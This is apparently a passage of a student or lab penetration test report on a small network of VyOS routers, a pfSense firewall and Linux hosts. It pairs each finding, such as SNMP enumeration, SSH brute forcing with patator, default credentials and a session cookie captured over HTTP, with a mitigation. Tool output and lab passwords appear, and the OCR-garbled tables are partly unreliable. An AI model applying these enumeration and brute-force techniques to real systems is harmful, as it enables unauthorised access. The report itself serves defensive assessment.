| arp Show Address Resolution Protocol (ARP) information bridge Show bridging information custer Show clustering information configuration Show running configuration contrack Show conntrack entries in the conntrack table conntrack-sync Show connection syncing information date Show system date and time dhcpv6 Show status related to DHCPv6 disk Show Domain Name Server (DNS) information file Show Domain Name Server (DNS) information | 02 168.0 02 168 | 20 30 30 30 30 30 30 20 20 20 20 20 20 20 20 20 20 20 20 20 | 192.168 224.0.0 192.168 192.168 192.168 192.168 192.168 192.168 192.168 192.168 192.168 192.168 192.168 192.168 | .0.230 .5 .0.230 .0.230 .0.230 .0.230 .0.230 .0.230 111045 10.230 .0.230 .0.230 .0.230 .0.230 .0.230 .0.230 .0.230 .0.230 .0.230 .0.230 | TCP OSFF SSHv2 SSHv2 SSHv2 SSHv2 SSHv2 TCP LLDP SSHv2 SSHv2 TCP SSHv2 TCP SSHv2 TCP SSHv2 | | <pre>→ 22 [ACK, Packet + = Carptat + = 22 [ACK] + = 22 [ACK]</pre> | Seq=3394 d packet Seq=3434 d packet d packet Seq=3474 956:e2 d packet Seq=3514 d packet Seq=3554 d packet | Ack=3154 Win=3430 (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) (len=40) |)4 Len=0)4 Len=0)4 Len=0)4 Len=0)4 Len=0)4 Len=0 |
| passwd242 ## shshock.sh | Type: Internet Transmis SSH Prof 0000 00 0010 00 0020 00 | IPv4 (0) t Protoco ssion Con tocol 0c 29 b7 6c 9b bf c8 00 16 | (0800) 1 Version trol Prot 82 b9 00 40 00 3e cf 34 e8 | 50 56 99 06 1d be 7e c2 ee | L92.168.0.2 Port: 22, 6c e2 08 0 c0 a8 00 e 2a 32 2c 2 | 30, Dst: Dst Port: 0 45 10 6 c0 a8 3 80 18 | 192.168.0.: 53044, Sei)P .1.@.>. 4.~ | 200 1: 3098, A 7.1E. .*2,# | ck: 3394, Len: 56 | |
| passwd199 nfs66_2 | 0050 02 0050 02 0050 02 0050 02 0050 02 0050 02 0050 050 | ab 51 32 5c 1f 78 cd b2 03 shark_eth0 | c5 e0 fa 22 3f a7 _20170928 | 3a 43 22 60 ea 89 040620_YEy7 | 9e 2f 6e c 59 04 28 c 7H7 | a 00 66 5 65 e3 a b0 4b | I\.x; (| | :kets: 132 · Displayed: 1 | 32 (100.09 |

Figure 2.4.1.2c – Proof of resolution - telnet vs SSH

2.4.2.3 LLDP Multicast

<u>Vulnerability</u>

VyOS version number is disclosed via LLDP_Multicast packet as can be seen in *Figure 2.4.1.3a*.

| | | | | | | *eth0 |
|---|--|--|---|--|--------------|---|
| File | Edit | <u>V</u> iew <u>G</u> o <u>C</u> aptu | ire <u>A</u> nalyze <u>S</u> tatistics | Telephony <u>W</u> ireless <u>T</u> ools | Help | |
| | | 1 🛞 🗖 🛅 |) 🖹 🍯 🔍 🔶 🕈 | • | e | 、 |
| A | oply a | display filter <ctr< th=""><th>'l-/></th><th></th><th></th><th></th></ctr<> | 'l-/> | | | |
| No. | | Time | Source | Destination | Protocol | Ler Info |
| | 33 34 | 50.686088246 50.686425723 | ∨mware_0d:67:c6 ∨mware_99:6c:e2 | ∨mware_99:6c:e2 ∨mware_0d:67:c6 | ARP ARP | 192.168.0.199 is at 00:0c:29:0d:67:c6 192.168.0.193 is at 00:50:56:99:6c:e2 |
| | 35 36 | 53.779791026 60.007541490 | Vmware_99:6c:e2 192.168.0.193 | LLDP_Multicast 224.0.0.5 | ULDP 0SPF | NoS = 00:50:56:99:6c:e2 TTL = 120 System Name = vyos System Description = Hello Packet |
| <pre>>> >> >></pre> | Chass Port Syst Syst Capac 0 Capac 0 Capac 0 Capac 0 Capac Port Syst | sels Subtype = MAA s To Live = 120 tem Name = vyoo tem Description 000 1100010 ystem Descript 000 11100000 apabilities: 0 nabled Capabil | MAC address, Id: 00:5 2 address, Id: 00:5 > sec i - TATA Router r - - 100 FLV length: ion: Vyatta Router r - - 1000 FLV length: ion: Vyatta Router - - - TV length: X001c itles: 0x0010 - 0 - 0 0 - 0 - 0 - 0 - 1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | 10:50:55:90:6c:e2 10:56:99:6c:e2 unning on VVOS 1.1.7 (f vstem Description (6) 44 running on VyOS 1.1.7 vstem Capabilities (7) 4 t capable Not capable ss point: Not capable shot capable :Not capable :Not capable :Not capable :Not capable :Not capable :Not capable :Not capable :Not capable :Not capable | (helium) | |

Figure 2.4.1.3a VyOS version disclosure via LLDP

SNMP

Vulnerability

Reuse of same community string "secure" between all routers, 230 uses a default SNMP community "private". SNMP allows for the disclosure of basically all information stored on the router, an example of the information that can be obtained can be seen in *Figure 2.4.1.4a* below. Information recovered using SNMP on router 1 and router 2 can be seen in *Appendix G – SNMP Info. The version of SNMP in use is also vulnerable to interception as community strings and data are sent in plain text in v1.*

| root@kali:~# snmp-check 192.1 | 68.0.230 -c private | |
|--|---|--|
| snmp-check v1.9 - SNMP enumer Copyright (c) 2005-2015 by Ma | ator tteo Cantoni (www.nothink.org) | |
| [+] Try to connect to 192.168 | .0.230:161 using SNMPv1 and community 'private' | |
| <pre>[*] System information:</pre> | | |
| Host IP address Hostname Description Contact Location Uptime snmp Uptime system System date | : 192.168.0.230 : vyos : Vyatta VyOS 1.1.7 : root : Unknown : 04:52:30.14 : 04:51:34.04 : 2017-9-27 22:29:03.0 | |
| [*] Network information: | | |
| IP forwarding enabled Default TTL TCP segments received TCP segments sent TCP segments retrans Input datagrams Delivered datagrams Output datagrams | : yes : 64 : 96 : 95 : 0 : 112727 : 38855 : 113089 | |
| [*] Network interfaces: | | |
| Interface Id Mac Address Type Speed MTU In octets Out octets Out octets Interface | : [up] lo : 1 : 1:::: : softwareLoopback : 10 Mbps : 65536 : 47206 : 47206 : 47206 : [up] VMware VMXNET3 Ethernet Controller | |
| Mac Address Type Speed MTU In octets Out octets | : 0:50:56:99:c7:f8 : ethernet-csmacd : 4294 Mbps : 1500 : 8321524 : 16934725 | |
| Interface Id Mac Address Type Speed MTU In octets | : [up] Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) : 3 : 00:50:56:99:52:f3 : ethernet-csmacd : 1000 Mbps : 1500 : 120 | |
| Out octets Interface Id Mac Address Type Speed MTU | : 310126 : [up] Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) : 4 : 00:50:56:99:c3:cb : ethernet-csmacd : 1000 Mbps : 1500 | |
| In octets Out octets | : 19106728 : 10485640 | |

Figure 2.4.1.4a – SNMP 230 "private"

Mitigation

Unless using SNMPv1 is absolutely critical, update to SNMPv3 as it protects against several of the vulnerabilities in SNMPv1. If SNMPv1 must be used, use a longer and more complex community string, and ensure the community has read only access – not write access like 230. An example demonstrating how to add a new community, set access level and remove default/easily guessable communities can be seen in *Figure 2.3.1.4b* below.



Figure 2.3.1.4b – SNMPv1 Fixes

2.4.3 Workstations

2.4.3.1 NFS Permissions

<u>Vulnerability</u>

The NFS share mounts to home of the admin with and has complete system access, allowing all files and folders to be viewed – and in the case of 66, edited.

Mitigation

Change mount point to the home directory of the user, and reduce the privilege level of the NFS mount to disable access to critical system files such as /etc/shadow. The steps to perform this fix can be seen in *Appendix* H - NFS *Permissions*.



Proof of resolution

2.4.3.2 Password Reuse

<u>Vulnerability</u>

The xadmin account is the administrator account on every linux based host, currently every xadmin account shares the same password 'plums'.

Mitigation

Use different passwords on each host, and ensure passwords are not guessable. Passwords can be set using the "passwd" command.

2.4.3.3 SSH Vulnerable to Brute Force

<u>Vulnerability</u>

SSH currently allows for endless tries, meaning passwords can be brute forced over ssh. Using a tool called patator the tester was able to brute force root on 242 as can be seen in the image below.

| | | | | | | root@kali: ~ | | | 0 | • • |
|-----------|------------|----------------|-----|-------|-------------|--------------|-------|--------------------------------|------------|-----------|
| File Edit | View Searc | ch Terminal He | elp | | | | | | | |
| 15:20:51 | patator | INF0 - 1 | 22 | 2.189 | style | | 800 | Authentication failed. | | ^ |
| 15:20:51 | patator | INFO - 1 | 22 | 2.190 | story | | 796 | Authentication failed. | | 24 Jar |
| 15:20:51 | patator | INFO - I | 22 | 2.18/ | string | | /9/ | Authentication failed. | | |
| 15:20:51 | patator | INFO - I | 22 | 2.190 | | | 703 | Authentication failed. | | 27 Jan |
| 15.20.51 | patator | INFO 1921 168 | 22 | 2,190 | student | | 1 708 | Authentication failed | | |
| 15.20.51 | patator | TNFO - 1 | 22 | 2.190 | srchad | | 782 | Authentication failed | | |
| 15:20:51 | patator | INFO - 1 | 22 | 2.219 | ssl | | 785 | Authentication failed. | | 1/ No |
| 15:20:52 | patator | INFO - 1 | 22 | 2.188 | submitter | | 804 | Authentication failed. | | |
| 15:20:52 | patator | INFO - 1 | 22 | 1.982 | survey | | 809 | Authentication failed. | | 23 Ma |
| 15:20:53 | patator | INFO - 1 | 22 | 1.816 | svc | | 810 | Authentication failed. | | |
| 15:20:53 | patator | INFO - 1 | 22 | 1.788 | stylesheet | | 801 | Authentication failed. | | 20 0 4 |
| 15:20:53 | patator | INFO - 1 | 22 | 1.787 | super | | 806 | Authentication failed. | | Za Del |
| 15:20:53 | patator | INFO - 1 | 22 | 1.782 | support | | 807 | Authentication failed. | | |
| 15:20:53 | patator | INFO - 1 | 22 | 1.787 | supported | | 808 | Authentication failed. | | 16 Ma |
| 15:20:53 | patator | INFO - 1 | 22 | 1.786 | submit | | 803 | Authentication failed. | | |
| 15:20:53 | patator | INFO - 1 | 22 | 1.584 | tape | | 819 | Authentication failed. | | 20 00 |
| 15:20:53 | patator | INFO - 1 | 22 | 1.785 | stats | | 792 | Authentication failed. | | 2.3.6464 |
| 15:20:53 | patator | INFO - 1 | 22 | 1.582 | sys | | 814 | Authentication failed. | | |
| 15:20:53 | patator | INF0 - 1 | 22 | 1.785 | store | | 795 | Authentication failed. | | 1.Fet |
| 15:20:53 | patator | INFO - 0 | 41 | 0.035 | test | | 829 | SSH-2.0-OpenSSH_6.6.1pl Ubuntu | 2ubuntu2.8 | |
| 15:20:55 | patator | INFO - 1 | 22 | 1.718 | svn | | 811 | Authentication failed. | | 12 Ma |
| 15:20:55 | patator | INFO - 1 | 22 | 1.715 | system | | 816 | Authentication failed. | | TTT I NO |
| 15:20:55 | patator | INFO - 1 | 22 | 1./18 | table | | 817 | Authentication failed. | | |
| 15:20:55 | patator | INFO - 1 | 22 | 1./18 | tag | | 818 | Authentication failed. | | 1 Fel |
| 15:20:55 | patator | INFO - 1 | 22 | 1.735 | tar | | 820 | Authentication failed. | | |
| 15:20:55 | patator | INFO - I | 22 | 1.718 | SW | | 813 | Authentication failed. | | 1.5.0 |
| 15:20:55 | patator | INFO - 1 | 22 | 1.753 | stylesheets | | 802 | Authentication failed. | | elected 1 |
| 15:20:55 | patator | INF0 - 1 | 22 | 1.751 | template | | 824 | Authentication failed. | | * |

Mitigation

Use IPTables to drop connection after x failed attempts (withblue.ink, 2016). The following excerpt will drop the connection for 5 minutes if more than x connections are made in that time;

Allow x connections in 300 seconds, then ban the IP for 5 minutes

-A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --set --name DEFAULT --rsource -A INPUT -p tcp -m tcp --dport 22 -m state --state NEW -m recent --update --seconds 300 --hitcount x -name DEFAULT --rsource -j DROP -A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT

2.4.4 Firewall

2.4.4.1 Default Credentials Vulnerability

PFsense uses the default credentials "admin:pfsense" to login, an attacker could easily look these up and use them to add an exception for themselves in the firewall.

Mitigation

Change PFSense password:

| System / L | Jser Mana | ager / Users / Edi | it | | 0 |
|---------------------|-------------------------------|--|------------------|---|--------|
| Users Groups | Settings A | uthentication Servers | | | |
| User Propert | ies | | | | |
| Defined by | SYSTEM | | | | |
| Disabled | 🗌 This user | cannot login | | | |
| Username | admin | | | | |
| Password | verySecureF | Password | | verySecurePassword | |
| Full name | System Adn User's full nar | ninistrator me, for administrative inforr | nation or | nly | |
| Expiration date | Leave blank i MM/DD/YYY | f the account shouldn't expi Y | re, other | vise enter the expiration date as | |
| Custom Settings | 🗌 Use indivi | dual customized GUI option | is and da | shboard layout for this user. | |
| Group membership | | | * | admins | * • |
| | Not member | of | | Member of | |
| | ➢ Move to [*] I | Member of" list | | ≪ Move to "Not member of" list | |
| | Hold down C | TRL (PC)/COMMAND (Mac |) key to s | elect multiple items. | |
| Effective Pri | vileges | | | | |
| | Inherited from | Name | Descri | ption | Action |
| | admins | WebCfg - All pages | Allow | access to all pages | |
| | | User - System: Shell account access | Indica for ex | tes whether the user is able to login ample via SSH. | Û |
| | | | | | 🕂 Add |

2.4.4.2 Misconfiguration of DMZ

Vulnerability

The rules for the PFSense DMZ allow for the webserver to communicate with the LAN region of the firewall. This vulnerability made many of the other vulnerabilities exponentially worse. The hosts in the DMZ should not be able to talk to anything in the LAN but they can. The rules that enable this are highlighted in the image below.

| Floa | ting | WAN | LAN | DMZ | | | | | | | | |
|------|------|-------------------|----------|--------|------|-----------------|------|---------|-------|----------|-------------|---------------|
| Ru | les | (Drag | to Chan | ge Ord | er) | | | | | | | |
| | | States | Protocol | Source | Port | Destination | Port | Gateway | Queue | Schedule | Description | Actions |
| | ~ | 0 /1.54 MiB | IPv4 * | * | * | 192.168.0.66 | * | * | none | | | ±≠ ©0 ₪ |
| | × | 0 /966 B | IPv4* | * | * | 192.168.0.64/27 | * | * | none | | | ±∕ □0 ∎ |
| | × | 0 /672 B | IPv4* | * | * | LAN net | * | * | none | | | ±≠ □0 ₪ |
| | ~ | 1 /2.41 MiB | IPv4* | * | * | * | * | × | none | | | ±∕ □0 ∎ |

Mitigation

Remove or disable the offending rules so that the DMZ works properly:

| rule configur s must be ap | ation has plied for tl | been (hem to | changed.) take effect. | | | | ~ / | Apply Change | s |
|-------------------------------|---|---|---|--|--|---|--|--|---|
| /AN LAN | DMZ | | | | | | | | |
| ag to Cha es Protocol | nge Oro | ler) Port | Destination | Port | Gateway | Queue | Schedule | Description | Actions |
| IPv4* | * | * | 192.168.0.64/27 | * | * | none | | | ±.∕ ⊡0 ∎ |
| IPv4* | * | * | LAN net | * | * | none | | | ±.∕ □0 ∎ |
| | | | t | Add | J Add | Delet Delet | e 🖺 Sav | ve 🕂 Separ | ator |
| N t | VAN LAN rag to Cha tes Protocol IPv4* 56 IPv4* 72 | rule configuration has es must be applied for t VAN LAN DMZ rag to Change Ord tes Protocol Source IPv4 * * 56 IPv4 * * | VAN LAN DMZ rag to Change Order) tes Protocol Source Port IPv4* * * 1Pv4* * * | rule configuration has been changed. es must be applied for them to take effect. VAN LAN DMZ rag to Change Order) tes Protocol Source Port Destination IPv4* * * 192.168.0.64/27 66 IPv4* * * LAN net 72 | rate configuration has been changed. es must be applied for them to take effect. VAN LAN DMZ rag to Change Order) tes Protocol Source Port Destination Port IPv4* * * 192.168.0.64/27 * 66 IPv4* * * LAN net * 72 Add | The configuration has been changed. estimation to take effect. VAN LAN DMZ Tag to Change Order) tes Protocol Source Port Destination Port Gateway IPv4* * 192.168.0.64/27 * * IPv4* * LAN net * * | The configuration has been changed. es must be applied for them to take effect. YAN LAN DMZ rag to Change Order) tes Protocol Source Port Destination Port Gateway Queue IPv4* * 192.168.0.64/27 * none IPv4* * LAN net * none IPv4* * LAN net * none IPv4* * LAN net * none | Add Add Market Add | YAN LAN DMZ rag to Change Order) tes Protocol Source Port Destination Port Gateway Queue Schedule Description 66 IPv4* * 192.168.0.64/27 * * none 72 IPv4* * LAN net * * none |

Proof of mitigation

| The settings have been applied. The firewall rules are now reloading in the background. Monitor the reload progress. | | | | | | | | | | | | |
|---|--------------------------------|----------------------------|--------------------------------|----------------------------|----------------------|--|------------------------|-------------------------------|---------|----------|-------------|-------|
| Floa | ating | WAN | I LAN | DMZ | | | | | | | | |
| Ru | ıles | (Drag | to Char | nge Ord | ler) | | | | | | | |
| | | States | Protocol | Source | Port | Destination | Port | Gateway | Queue | Schedule | Description | Acti |
| | × | 0 /966 B | IPv4* | * | * | 192.168.0.64/27 | * | * | none | | | |
| | × | 0 /672 B | IPv4* | * | * | LAN net | * | * | none | | | |
| | | | | | | t | Add | l Add | 🛍 Dele | te 🖺 Sav | ve 🕂 Separ | rator |
| | | | | | ro | ot@xadmin-virtua | al-ma | chine: ~ | | | • • | 8 |
| File | Edi | t View | / Search | Termir | nal H | lelp | | | | | | |
| root root Welc | <mark>@ka</mark> @19 ome | 1:~# 2.168. to Ub | ssh 192 0.242's ountu 14 | .168.0 passw .04 LT | .242 ord: S (G | NU/Linux 3.13 | .0-24 | 4-generi | .c x86_ | _64) | | Î |
| * D | ocu | mentat | ion: h | ttps:/ | /hel | p.ubuntu.com/ | | | | | | |
| Last root PING | lo @xa 19 | gin: 1 dmin-\ 2.168. | Thu Sep virtual- 0.66 (1 | 28 07: machin 92.168 | 36:1 e:~# .0.6 | 3 2017 from 19 ping 192.168 6) 56(84) byte | 92.10 .0.60 es o | 68.0.200 5 -c 1 f data. |) | | | |
| 1 ра | 192 cke | .168.0 ts tra |).66 pin ansmitte | g stat d, 0 r | isti ecei | cs ved, 100% <u>pac</u> l | ket | loss, ti | .me Oms | 5 | | |
| root | @xa | dmin-v | /irtual- | machin | e:~# | | | | | | | |

2.4.4.3 No HTTPS Vulnerability

PFSense isn't configured to use HTTPS and as such all communication between the administrator and PFSense could be intercepted. To demonstrate this Wireshark was set to capture at the time of login. It was able to steal the PHPsession ID, the username and the password as can be seen in the image below:

| | | | | | | | | | | | | *(| ethC | | | | | | | | | ę | |
|---|---|--|--|--|--|---|--|--|--|--|---|--|--|--|--|---|---|---|--|--|--|-------|-----|
| <u>F</u> ile <u>E</u> | dit | Viev | v <u>c</u> | jo | Capt | ture | An | alyze | <u>S</u> t | atist | ics | Tele | epho | ny | Wir | reless | Tools | Hel | lp | | | | |
| | | 3 | 0 | Ō | 1 | | × | 6 | ٩ | + | | • | Ç. | I | * | | | € | Q | 0 | 1 | | |
| Арр | ly a d | lispla | ay fil | ter | . <c< td=""><td>trl-/:</td><td>></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>0</td><td></td><td>Ex</td><td>press</td><td>ion</td></c<> | trl-/: | > | | | | | | | | | | | | 0 | | Ex | press | ion |
| lo. | | Time | 0 | | | S | ourc | e | | | | | De | stina | tion | | | Р | rotoc | col I | Ler I | nfo | |
| • | 1 | 0.0 | 000 | 000 | 00 | 1 | 92. | 168. | 0.2 | 00 | | | 19 | 2.1 | 68. | 0.234 | l. | ł | ITTP | | F | POST | /i |
| | 2 | 0.0 | 038 | 862 | 10 | 1 | 92. | 168. | 0.2 | 34 | | | 19 | 2.1 | 68. | 0.200 | 1 | Т | TCP | | 8 | 30 → | 44 |
| | | 02 - 70 | | | | | NICES I | | - | 0.000 | | | | | | | | | | | | | • |
| A | cce | ot-l | _ang | gua | ge: | en | -US | ,en;c | q=0. | . 5\1 | r\n | | | | | | | | | | | | |
| A | ccep | ot-E | Enco | odir | ng: | gz: | ip, | def. | Late | e/r/ | \n | | | | | | | | | | | | |
| R | efei | rer | : ht | ttp | :11 | 192 | .168 | B.0.2 | 234/ | /ind | lex | . php | r' | \n | | | | | | | | | |
| b C | ook | ie | PHE | SEC | TR | D=0 | rrd | ro26. | fr 7a | anhs | Rmm | =5ar | 1 fh | i O f | 1310 | dia\r | \n | | | | | | |
| | oppo | not: | ion | | 0010 | -9 | ival | 1020 | 1070 | anoc | sind. | Jour | 110. | 101- | 10)(| 1911 | ALL . | | | | | | |
| L | onne | ec L | Lou | K | eeb. | ar. | rve | VL VU | | | 2 | | 220 | | | 3277 | | | | | | | |
| C | onte | ent∙ | - Typ | be: | app |)11(| cat: | ion/> | <-W | w-1 | fori | n-un | rler | 1000 | ded` | $r\n$ | | | | | | | |
| | Onco | | | | | | | - | | | | | | | | | | | | | | | |
| ► C | onte | ent | -ler | hath | 1: 1 | 128 | $\sqrt{\Gamma}$ | | | | | | | | | | | | | | | | |
| • C | onte | ent | - Ler | nath | n: : | 128 | VLV | 1 | | | | | | | | | | | | | | | |
| ► C | onte | ent | - Ler | natł | n: 1 | 128 | ALM. | 1 | 11.02 | 124-244 | 09252 | | | | | 001200 | | | | | 1 | | |
| ▶ C | onte 69 | ent 70 | - Ler 2c | 20 | n: 1 64 | 128 65 | 66 | 6c | 61 | 74 | 65 | 0d | 0a | 52 | 65 | 66 | ip, de | efl | ate | Re | e f | | |
| ► C | 69 65 | 70 72 | 2c | 20 72 | n: 1 64 3a | 65 20 | 66 68 | 6c 74 | 61 74 | 74 70 | 65 3a | 0d 2f | 0a 2f | 52 31 | 65 39 | 66 32 | ip, de | efl ht | ate tp: | Re | e f | | |
| • C | 69 65 | 70 72 71 | 2c 65 | 20 72 | 64 3a | 65 20 | 66 68 | 6c 74 | 61 74 | 74 70 | 65 3a | 0d 2f | 0a 2f | 52 31 | 65 39 | 66 32 | ip, de erer: | efl ht | ate tp: | Re //19 | ef 92 | | |
| • C | 69 65 2e | 70 72 31 | 2c 65 36 | 20 72 38 | 64 3a 2e | 65 20 30 | 66 68 2e | 6c 74 32 | 61 74 33 | 74 70 34 | 65 3a 2f | 0d 2f 69 | 0a 2f 6e | 52 31 64 | 65 39 65 | 66 32 78 | ip, de erer: .168.0 | efl ht 0.2 | ate tp: 34/ | Re //19 inde | ef 92 ex | | |
| ► C 140 150 160 170 | 69 65 2e 2e | 70 72 31 70 | 2c 65 36 68 | 20 72 38 70 | 64 3a 2e 0d | 65 20 30 0a | 66 68 2e 43 | 6c 74 32 6f | 61 74 33 6f | 74 70 34 6b | 65 3a 2f 69 | 0d 2f 69 65 | 0a 2f 6e 3a | 52 31 64 20 | 65 39 65 50 | 66 32 78 48 | ip, d erer: .168.0 .php. | efl ht 0.2 .Co | ate tp: 34/ oki | Re //19 inde e: P | ef 92 ex PH | | |
| C 0140 0150 0160 0170 0180 | 69 65 2e 2e 50 | 70 72 31 70 53 | 2c 65 36 68 45 | 20 72 38 70 53 | 64 3a 2e 0d 53 | 65 20 30 0a 49 | 66 68 2e 43 44 | 6c 74 32 6f 3d | 61 74 33 6f 67 | 74 70 34 6b 72 | 65 3a 2f 69 72 | 0d 2f 69 65 64 | 0a 2f 6e 3a 72 | 52 31 64 20 6f | 65 39 65 50 32 | 66 32 78 48 36 | ip, de erer: .168.0 .php. PSESS | efl ht 0.2 .Co ID= | ate tp: 34/ oki | Re //19 inde e: F dro2 | ef 92 ex PH | | |
| ▶ C 140 150 160 170 180 | 69 65 2e 2e 50 66 | 70 72 31 70 53 63 | 2c 65 36 68 45 37 | 20 72 38 70 53 | 64 3a 2e 0d 53 | 65 20 30 0a 49 62 | 66 68 2e 43 44 38 | 6c 74 32 6f 3d 6d | 61 74 33 6f 67 71 | 74 70 34 6b 72 73 | 65 3a 2f 69 72 | 0d 2f 69 65 64 | 0a 2f 6e 3a 72 71 | 52 31 64 20 6f | 65 39 65 50 32 62 | 66 32 78 48 36 | ip, de erer: .168.0 .php. PSESS | efl ht 0.2 .Co ID= | ate tp: 34/ oki | Re //19 inde e: F dro2 | ef 92 ex 2H 26 | | |
| C 0140 0150 0160 0170 0180 0190 | 69 65 2e 2e 50 66 | 70 72 31 70 53 63 | 2c 65 36 68 45 37 | 20 72 38 70 53 61 | 64 3a 2e 0d 53 6e | 65 20 30 0a 49 62 | 66 68 2e 43 44 38 | 6c 74 32 6f 3d 6d | 61 74 33 6f 67 71 | 74 70 34 6b 72 73 | 65 3a 2f 69 72 35 | 0d 2f 69 65 64 61 | 0a 2f 6e 3a 72 71 | 52 31 64 20 6f 66 | 65 39 65 50 32 62 | 66 32 78 48 36 6a | ip, de erer: .168.0 .php. PSESS fc7anl | efl ht 0.2 .Co ID= 08m | ate tp: 34/ oki grr qs5 | Re //19 inde e: P dro2 aqfb | e f 92 ex 2H 26 | | |
| ▶ C 140 150 160 170 180 190 1a0 | 69 65 2e 2e 50 66 30 | 70 72 31 70 53 63 66 | 2c 65 36 68 45 37 34 | 20 72 38 70 53 61 33 | 64 3a 2e 0d 53 6e 6a | 65 20 30 0a 49 62 64 | 66 68 2e 43 44 38 6a | 6c 74 32 6f 3d 6d 67 | 61 74 33 6f 67 71 0d | 74 70 34 6b 72 73 0a | 65 3a 2f 69 72 35 43 | 0d 2f 69 65 64 61 6f | 0a 2f 6e 3a 72 71 6e | 52 31 64 20 6f 66 6e | 65 39 65 50 32 62 65 | 66 32 78 48 36 6a 63 | ip, de erer: .168.0 .php. FSESS fc7an 0f43ju | efl ht 0.2 .Co ID= 08m | ate tp: 34/ oki grr qs5 | Re //19 inde e: F dro2 aqfb onne | ef 92 ex 94 26 26 | | |
| ▶ C 140 150 160 170 180 190 1a0 1b0 | 69 65 2e 2e 50 66 30 74 | 70 72 31 70 53 63 66 69 | 2c 65 36 68 45 37 34 6f | 20 72 38 70 53 61 33 6e | 64 3a 2e 0d 53 6e 6a 3a | 65 20 30 0a 49 62 64 20 | 66 68 2e 43 44 38 6a 6b | 6c 74 32 6f 3d 6d 67 65 | 61 74 33 6f 67 71 0d 65 | 74 70 34 6b 72 73 0a 70 | 65 3a 2f 69 72 35 43 2d | 0d 2f 69 65 64 61 6f | 0a 2f 6e 3a 72 71 6e 6c | 52 31 64 20 6f 66 69 | 65 39 65 50 32 62 65 76 | 66 32 78 48 36 63 63 65 | ip, de erer: .168.0 .php. PSESS fc7an of43ju tion: | efl ht 0.2 Co ID= 08m djg ke | ate tp: 34/ oki grr qs5 C ep- | Re //19 inde e: F dro2 aqfb onne aliv | ef 92 ex 2H 26 91 ec 7e | | |
| ▶ C 140 150 160 170 180 190 190 190 100 100 100 | 69 65 2e 2e 50 66 30 74 0d | 70 72 31 70 53 63 66 69 0a | 2c 65 36 68 45 37 34 6f 43 | 20 72 38 70 53 61 33 6e 6f | 64 3a 2e 0d 53 6e 6a 3a 6e | 128 20 30 0a 49 62 64 20 74 | 66 68 2e 43 44 38 6a 6b 65 | 6c 74 32 6f 3d 6d 67 65 6e | 61 74 33 6f 71 0d 65 74 | 74 70 34 6b 72 73 0a 70 2d | 65 3a 2f 69 72 35 43 2d 54 | 0d 2f 69 65 64 61 6f 61 79 | 0a 2f 6e 3a 72 71 6e 6c 70 | 52 31 64 20 6f 66 69 65 | 65 39 65 50 32 62 65 76 3a | 66 32 78 48 36 6a 63 65 20 | ip, de erer: .168.0 .php. PSESS fc7anl 0f43j tion: Con | efl ht 0.2 .Co ID= 08m djg ke ten | ate tp: 34/ oki grf qs5 C ep- t-T | Re //19 inde e: F dro2 aqfb onne aliv vpe: | e f 92 2H 26 20 20 20 20 20 20 20 20 20 20 20 20 20 | | |
| ► C 140 150 160 170 180 190 180 190 100 100 | 69 65 2e 2e 50 66 30 74 0d 61 | 70 72 31 70 53 63 69 0a 70 | 2c 65 36 68 45 37 34 6f 43 70 | 20 72 38 70 53 61 33 6e 6f | 64 3a 2e 0d 53 6e 3a 6e 69 | 65 20 30 0a 49 62 64 20 74 63 | 66 68 2e 43 44 38 6b 65 61 | 6c 74 32 6f 3d 6d 67 65 6e 74 | 61 74 33 6f 67 71 0d 65 74 | 74 70 34 6b 72 73 0a 70 2d 6f | 65 3a 2f 69 72 35 43 2d 54 6e | 0d 2f 69 65 64 61 61 79 2f | 0a 2f 6e 3a 72 71 6e 6c 70 78 | 52 31 64 20 6f 66 69 65 2d | 65 39 65 50 32 62 65 76 3a 77 | 66 32 78 48 36 6a 63 65 20 77 | ip, de erer: .168.0 .php. PSESS fc7an 0f43j tion: Con | efl ht 0.2 Co ID= 08m Jg ke ten | ate tp: 34/ oki grr qs5 C ep- t-T | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w | e f 92 24 26 20 1 26 20 20 | | |
| ▶ C 140 150 160 170 180 190 1a0 1b0 1c0 1d0 | 69 65 2e 2e 50 66 30 74 0d 61 | 70 72 31 70 53 63 69 0a 70 | 2c 65 36 45 37 34 6f 43 70 | 20 72 38 70 53 61 33 6e 6f 6c | 64 3a 2e 0d 53 6e 6a 3a 6e 69 72 | 65 20 30 0a 49 62 64 20 74 63 | 66 68 2e 43 44 38 6b 65 61 | 6c 74 32 6f 3d 6d 67 65 6e 74 | 61 74 33 6f 71 0d 65 74 69 | 74 70 34 6b 72 73 0a 70 2d 6f | 65 3a 2f 69 72 35 43 2d 54 6e | 0d 2f 69 65 64 61 61 79 2f | 0a 2f 6e 3a 72 71 6e 6c 70 78 | 52 31 64 20 6f 66 69 65 2d | 65 39 65 50 32 62 65 76 3a 77 | 66 32 78 48 36 63 63 65 20 77 | ip, de erer: .168.0 .php. PSESS fc7an of43j tion: Con appli | efl ht 0.2 Co ID= b8m Jg ke ten cat | ate tp: 34/ oki grr qs5 C ep- t-T ion | Re //19 inde e: P dro2 aqfb onne aliv ype: /x-w | ef 92 24 26 26 26 26 26 26 26 26 26 26 26 26 26 | | |
